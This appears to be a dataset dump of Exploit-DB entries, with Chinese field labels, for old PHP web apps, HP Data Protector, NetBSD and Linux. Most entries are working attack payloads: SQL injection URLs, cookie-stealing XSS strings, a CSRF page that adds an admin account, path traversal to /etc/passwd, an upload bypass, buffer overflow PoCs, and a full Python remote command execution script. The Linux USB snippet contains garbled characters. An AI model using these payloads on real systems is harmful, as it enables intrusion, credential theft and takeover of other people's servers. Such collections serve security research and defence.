QLWD/code_shield huggingface dataset:
标题: Support Incident Tracker (SiT!) 3.63 p1 - 'billable_incidents.php?sites[]' SQL Injection EDB-ID: 35986 CVE: 2011-5071 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/48896/info
 
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/billable_incidents.php?sites[]=-1 union select 1,concat_ws(':',user(),database()) URL: https://www.exploit-db.com/exploits/35986
标题: Support Incident Tracker (SiT!) 3.63 p1 - 'search.php?search_string' SQL Injection EDB-ID: 35987 CVE: 2011-5071 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/48896/info
  
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/search.php?search_string=1' union select 1,version() URL: https://www.exploit-db.com/exploits/35987
标题: Pragyan CMS 3.0 - SQL Injection EDB-ID: 35991 CVE: 2015-1471 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-04 漏洞利用脚本: Advisory: SQL injection vulnerability in Pragyan CMS v.3.0
Advisory ID: SROEADV-2015-11
Author: Steffen Rösemann
Affected Software: Pragyan CMS v.3
Vendor URL: https://github.com/delta/pragyan, http://delta.nitt.edu/
Vendor Status: vendor did not respond after initial communication
CVE-ID: -

==========================
Vulnerability Description:
==========================

Pragyan CMS v. 3 suffers from a SQL injection vulnerability that can be
abused even by unauthenticated attackers.

==================
Technical Details:
==================

The user-profile of registered users of Pragyan CMS v.3 is vulnerable to
SQL injection attacks. A user-profile can be found in the following
location of a common Pragyan CMS installation:

http://{TARGET}/user:1

Exploit-Example:

http://
{TARGET}/user:1%27+and+1=2+union+select+database%28%29,version%28%29,3+--+



=========
Solution:
=========

Vendor notified, did not respond after initial communication.

If you use Pragyan CMS v.3, please locate the file userprofile.lib.php and
use my patch (see [5], usage at your own risk!).




====================
Disclosure Timeline:
====================
18-Jan-2015 – found the vulnerability
19-Jan-2015 - informed the developers (see [3])
19-Jan-2015 – release date of this security advisory [without technical
details]
19-Jan-2015 - forked the project to keep it available/researchable in its
current state for other researchers [4]
03-Feb-2015 - release date of this security advisory
03-Feb-2015 - provided a patch for vulnerability (see [5])
03-Feb-2015 - send to FullDisclosure



========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://delta.nitt.edu/ / https://github.com/delta/pragyan
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-11.html
[3] https://github.com/delta/pragyan/issues/206
[4] https://github.com/sroesemann/pragyan
[5] http://pastebin.com/ip2gGYuS URL: https://www.exploit-db.com/exploits/35991
标题: Support Incident Tracker (SiT!) 3.63 p1 - 'report_marketing.php?exc[]' SQL Injection EDB-ID: 35985 CVE: 2011-5071 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/48896/info

Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/report_marketing.php?mode=report&exc[0]=1' URL: https://www.exploit-db.com/exploits/35985
标题: Tiki Wiki CMS Groupware 7.2 - 'snarf_ajax.php' Cross-Site Scripting EDB-ID: 35974 CVE: 2011-4336 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/48806/info

Tiki Wiki CMS Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/snarf_ajax.php?url=1&ajax=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/35974
标题: ManageEngine Desktop Central 9 Build 90087 - Cross-Site Request Forgery EDB-ID: 35980 CVE: 2014-9331 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-02-03 漏洞利用脚本: <html>
<!--
# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)
# Date: 05 December 2014
# Exploit Author: Mohamed Idris – Help AG Middle East
# Vendor Homepage: http://www.manageengine.com/
# Software Link: http://www.manageengine.com/products/desktop-central/
# Version: All versions below build 90121
# Tested on: Version 9 Build 90087
# CVEID: CVE-2014-9331
# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:
When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).
Remember to change the IP to the target server IP address in the code.
-->
  <!-- CSRF PoC - Add an admin account -->
  <body>
    <form action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">
      <input type="hidden" name="AuthenticationType" value="DC" />
      <input type="hidden" name="newDCAuthUserName" value="Hacker" />
      <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />
      <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />
      <input type="hidden" name="newDCAuthUserEmail" value="" />
      <input type="hidden" name="newDCAuthUserPNumber" value="" />
      <input type="hidden" name="newADAuthUserEmail" value="" />
      <input type="hidden" name="newADAuthUserPNumber" value="" />
      <input type="hidden" name="MapType" value="ALL" />
      <input type="hidden" name="aduserSearch" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="aduserSearchRO" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="action1" value="DC_ADD_USER" />
      <input type="hidden" name="addUser" value="Add User" />
      <input type="hidden" name="cancle" value="Cancel" />
      <input type="hidden" name="customerids" value="" />
      <input type="hidden" name="roleListDCAuth" value="1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="hidden" name="domainListADAuth" value="-1" />
      <input type="hidden" name="roleListADAuth" value="-1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/35980
标题: HP Data Protector 8.x - Remote Command Execution EDB-ID: 35961 CVE: 2014-2623 类型: REMOTE 平台: HP-UX 发布日期: 2015-01-30 漏洞利用脚本: #!/usr/bin/python

# Exploit Title: HP-Data-Protector-8.x Remote command execution.
# Google Dork: -
# Date: 30/01/2015
# Exploit Author: Juttikhun Khamchaiyaphum
# Vendor Homepage: https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818
# Software Link: http://www8.hp.com/th/en/software-solutions/data-protector-backup-recovery-software/
# Version: 8.x
# Tested on: IA64 HP Server Rx3600
# CVE : CVE-2014-2623
# Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. "uname -m">"

import socket
import struct
import sys

def exploit(host, port, command):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((host, port))
        print "[+] Target connected."

        OFFSET_DEC_START = 133
        OFFSET_DEC = (OFFSET_DEC_START + len(command))
        # print "OFFSET_DEC_START:" + str(OFFSET_DEC_START)
        # print "len(command)" + str(len(command))
        # print "OFFSET_DEC" + str(OFFSET_DEC)
        OFFSET_HEX = "%x" % OFFSET_DEC
        # print "OFFSET_HEX" + str(OFFSET_HEX)
        OFFSET_USE = chr(OFFSET_DEC)
        # print "Command Length: " + str(len(command))
        PACKET_DATA = "\x00\x00\x00"+\
        OFFSET_USE+\
        "\x20\x32\x00\x20\x73\x73\x73\x73\x73\x73\x00\x20\x30" + \
        "\x00\x20\x54\x45\x53\x54\x45\x52\x00\x20\x74\x65\x73\x74\x65\x72\x00" + \
        "\x20\x43\x00\x20\x32\x30\x00\x20\x74\x65\x73\x65\x72\x74\x65\x73\x74" + \
        "\x2E\x65\x78\x65\x00\x20\x72\x65\x73\x65\x61\x72\x63\x68\x00\x20\x2F" + \
        "\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75" + \
        "\x6C\x6C\x00\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x00\x20\x30\x00" + \
        "\x20\x32\x00\x20\x75\x74\x69\x6C\x6E\x73\x2F\x64\x65\x74\x61\x63\x68" + \
        "\x00\x20\x2D\x64\x69\x72\x20\x2F\x62\x69\x6E\x20\x2D\x63\x6F\x6D\x20" + \
        " %s\x00" %command

        # Send payload to target
        print "[+] Sending PACKET_DATA"
        sock.sendall(PACKET_DATA)

        # Parse the response back
        print "[*] Result:"
        while True:
            response = sock.recv(2048)
            if not response: break
            print response

    except Exception as ex:
        print >> sys.stderr, "[-] Socket error: \n\t%s" % ex
        exit(-3)
    sock.close()

if __name__ == "__main__":
    try:
        target = sys.argv[1]
        port = int(sys.argv[2])
        command = sys.argv[3]
        exploit(target, port, command)
    except IndexError:
         print("Usage: hp_data_protector_8_x.py <target ip> <port> <command e.g. \"uname -m\">")
    exit(0) URL: https://www.exploit-db.com/exploits/35961
标题: Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (PoC) EDB-ID: 35957 CVE: 2009-4067 类型: DOS 平台: LINUX 发布日期: 2009-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/48687/info

The Auerswald USB Device Driver for the Linux kernel is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with superuser privileges, facilitating the complete compromise of affected computers. Failed exploit attempts will likely crash the kernel, denying service to legitimate users.

Linux kernel 2.6.26 is vulnerable; prior versions may also be affected. 

0xbf, 0x09, /*  u16 idVendor; */ 
0xc0, 0x00, /*  u16 idProduct; */ 
0x10, 0x42, /*  u16 bcdDevice */ 

case 1: 
      /* serial number */ 
      ret = set_usb_string(data, ��); 
          break; 
      case 2: 
          ret = set_usb_string(data,�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�); URL: https://www.exploit-db.com/exploits/35957
标题: Chyrp 2.x - 'action' Traversal Local File Inclusion EDB-ID: 35945 CVE: 2011-2744 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/48672/info
  
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
  
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpassword%00 URL: https://www.exploit-db.com/exploits/35945
标题: Chyrp 2.x swfupload Extension - 'upload_handler.php' Arbitrary File Upload / Arbitrary PHP Code Execution EDB-ID: 35947 CVE: 2011-2745 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/48672/info
    
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
    
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
    
Chyrp 2.1 is vulnerable; other versions may also be affected. 

C:
Appended ;*.php in script for the add photo feather (http://www.example.com/admin/?action=write_post&feather=photo) using intercepting proxy
      <script type="text/javascript">
          $(function(){
              $("#photo").clone().attr("id", "photo_fake").addClass("swfupload_button").insertBefore("#photo")
              photo = new SWFUpload({
                  upload_url : "http://www.example.com/chyrp_v2.0/modules/swfupload/upload_handler.php",
                  flash_url : "http://www.example.com/chyrp_v2.0/modules/swfupload/lib/swfupload.swf",
                  post_params: {"PHPSESSID" : "5o3bnghnijk4hlr7vnshi3vb76", "PHPSESSNAME" : "ChyrpSession", "ajax" : "true" },
                  file_size_limit : "100 MB",
                  file_types : "*.jpg;*.jpeg;*.png;*.gif;*.bmp;*.php", <-- #MODIFY!
                  file_types_description : "All Files",
                  
                  file_queue_error_handler : fileQueueError,
                  file_dialog_complete_handler : fileDialogComplete,
                  upload_start_handler : uploadStart,
                  upload_progress_handler : uploadProgress,
                  upload_error_handler : uploadError,
                  upload_success_handler : uploadSuccess,
                  button_placeholder_id : "photo",
                  button_width : $("#photo_fake").width(),
                  button_height : $("#photo_fake").height(),
                  button_action : SWFUpload.BUTTON_ACTION.SELECT_FILES,
                  upload_complete_handler : uploadComplete
              })
              $("#SWFUpload_0")
                  .css({ position: "absolute", top: $("#photo_fake").offset().top, left: $("#photo_fake").offset().left })
                  .before('<div id="progress"><div class="back"><div class="fill"></div><div class="clear"></div></div></div>')
          })
      </script> URL: https://www.exploit-db.com/exploits/35947
标题: Chyrp 2.x - '/includes/JavaScript.php?action' Cross-Site Scripting EDB-ID: 35944 CVE: 2011-2743 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/48672/info
 
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
 
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.comincludes/javascript.php?action=[XSS] URL: https://www.exploit-db.com/exploits/35944
标题: Chyrp 2.x - '/includes/lib/gz.php?File' Traversal Arbitrary File Access EDB-ID: 35946 CVE: 2011-2780 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/48672/info
   
Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.
   
An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.
   
Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/35946
标题: Flowplayer 3.2.7 - 'linkUrl' Cross-Site Scripting EDB-ID: 35941 CVE: 2011-3642 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-07-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/48651/info

Flowplayer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Flowplayer 3.2.7 is vulnerable; other versions may also be affected.

http://www.example.com/flowplayer/flowplayer-3.2.7.swf?config={%22clip%22:{%22url%22:%22http://www.example.com/vod/demo.flowplayervod/flowplayer-700.flv%22,%20%22linkUrl%22:%22javascript:alert%28String.fromCharCode%2888,83,83%29%29;alert%28document.cookie%29%22},%22screen%22:{%22height%22:%22100pct%22,%22top%22:0},%22plugins%22:{%22controls%22:{%22timeColor%22:%22#ffffff%22,%22borderRadius%22:%220px%22,%22buttonOffColor%22:%22rgba%28130,130,130,1%29%22,%22bufferGradient%22:%22none%22,%22sliderColor%22:%22#000000%22,%22zIndex%22:1,%22backgroundColor%22:%22rgba%280,%200,%200,%200%29%22,%22scrubberHeightRatio%22:0.6,%22tooltipTextColor%22:%22#ffffff%22,%22volumeSliderGradient%22:%22none%22,%22spacing%22:{%22time%22:6,%22volume%22:8,%22all%22:2},%22sliderGradient%22:%22none%22,%22timeBorderRadius%22:20,%22timeBgHeightRatio%22:0.8,%22volumeSliderHeightRatio%22:0.6,%22progressGradient%22:%22none%22,%22height%22:26,%22volumeColor%22:%22#4599ff%22,%22tooltips%22:{%22marginBottom%22:5,%22buttons%22:false},%22timeSeparator%22:%22%20%22,%22name%22:%22controls%22,%22volumeBarHeightRatio%22:0.2,%22opacity%22:1,%22timeFontSize%22:12,%22left%22:%2250pct%22,%22tooltipColor%22:%22rgba%280,%200,%200,%200%29%22,%22bufferColor%22:%22#a3a3a3%22,%22volumeSliderColor%22:%22#ffffff%22,%22border%22:%220px%22,%22buttonColor%22:%22#ffffff%22,%22durationColor%22:%22#b8d9ff%22,%22autoHide%22:{%22enabled%22:true,%22hideDelay%22:500,%22hideStyle%22:%22fade%22,%22mouseOutDelay%22:500,%22hideDuration%22:400,%22fullscreenOnly%22:true},%22backgroundGradient%22:%22none%22,%22width%22:%22100pct%22,%22sliderBorder%22:%221px%20solid%20rgba%28128,%20128,%20128,%200.7%29%22,%22display%22:%22block%22,%22buttonOverColor%22:%22#ffffff%22,%22url%22:%22flowplayer.controls-3.2.5.swf%22,%22timeBorder%22:%220px%20solid%20rgba%280,%200,%200,%200.3%29%22,%22progressColor%22:%22#4599ff%22,%22timeBgColor%22:%22rgb%280,%200,%200,%200%29%22,%22scrubberBarHeightRatio%22:0.2,%22bottom%22:0,%22builtIn%22:false,%22volumeBorder%22:%221px%20solid%20rgba%28128,%20128,%20128,%200.7%29%22,%22margins%22:[2,12,2,12]}}} URL: https://www.exploit-db.com/exploits/35941
标题: Chyrp 2.x - '/admin/help.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 35943 CVE: 2011-2743 类型: WEBAPPS 平台: PHP 发布日期: 2011-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/48672/info

Chyrp is prone to multiple cross-site scripting vulnerabilities, a local file-include vulnerability, an arbitrary file-upload vulnerability, and a directory-traversal vulnerability.

An attacker may leverage these issues to execute arbitrary script code on an affected computer and in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, open or run arbitrary files in the context of the webserver process, and gain access to sensitive information.

Chyrp 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/help.php?title=[XSS]&body=[XSS] URL: https://www.exploit-db.com/exploits/35943
标题: ManageEngine Firewall Analyzer 8.0 - Directory Traversal / Cross-Site Scripting EDB-ID: 35933 CVE: 2012-4891 2012-4889 类型: WEBAPPS 平台: HARDWARE 发布日期: 2015-01-29 漏洞利用脚本: ################################################################################################
 #                                                                                              #
 #    ...:::::ManageEngine Firewall Analyzer Directory Traversal/XSS  Vulnerabilities::::....   #         
 # #############################################################################################


                                  Sobhan System Network & Security Group (sobhansys)
              
-------------------------------------------------------
# Date: 2015-01-28
# Exploit Author: AmirHadi Yazdani (Sobhansys Co)
# Vendor Homepage: http://www.manageengine.com/products/firewall/
# Demo Link: http://demo.fwanalyzer.com/
#Affected version: <= Build Version  : 8.0

About ManageEngine Firewall Analyzer (From Vendor Site) : 
          
ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software
that helps network administrators to centrally collect, archive, analyze 
their security device logs and generate forensic reports out of it.
--------------------------------------------------------

           
I'M hadihadi From Virangar Security Team

special tnx to:MR.nosrati,black.shadowes,MR.hesy
& all virangar members & all hackerz

greetz to My friends In Signal IT Group (www.signal-net.net) & A.Molaei

spl:Z.Khodaee

-------
exploit:

Diretory Traversal :

http://127.0.0.1/fw/mindex.do?url=./WEB-INF/web.xml%3f
http://127.0.0.1/fw/index2.do?completeData=true&helpP=archiveAction&tab=system&url=./WEB-INF/web.xml%3f
http://127.0.0.1/fw/index2.do?helpP=fim&link=0&sel=13&tab=system&url=./WEB-INF/web.xml%3f

XSS :

http://127.0.0.1/fw/index2.do?completeData=true&url=importedLogDetails" onmouseover%3dprompt(902321) bad%3d"

----
Sobhan system Co.
Signal Network And Security Group (www.signal-net.net)

E-mail: amirhadi.yazdani@gmail.com,a.h.yazdani@signal-net.net URL: https://www.exploit-db.com/exploits/35933
标题: NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows EDB-ID: 35919 CVE: 2011-1656 类型: REMOTE 平台: BSD 发布日期: 2011-07-01 漏洞利用脚本: // source: https://www.securityfocus.com/bid/48528/info

NetBSD is prone to a stack-based buffer-overflow vulnerability affecting multiple functions in the 'libc/net' library.

Successful exploits may allow an attacker to execute arbitrary code in the context of the application using the affected library. Failed exploit attempts will result in a denial-of-service condition. 

/*
127# gcc -o grr grr.c && ./grr 6050
127# gcc -o grr grr.c && ./grr 6051
Memory fault (core dumped)
127#


*/
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

int main(int argc, char *argv[]){
 char *cycek;
 cycek=malloc(atoi(argv[1]));

 if(!cycek) return 1;
 memset(cycek,'A',atoi(argv[1]));

 getservbyname(cycek,"tcp");

 return 0;
} URL: https://www.exploit-db.com/exploits/35919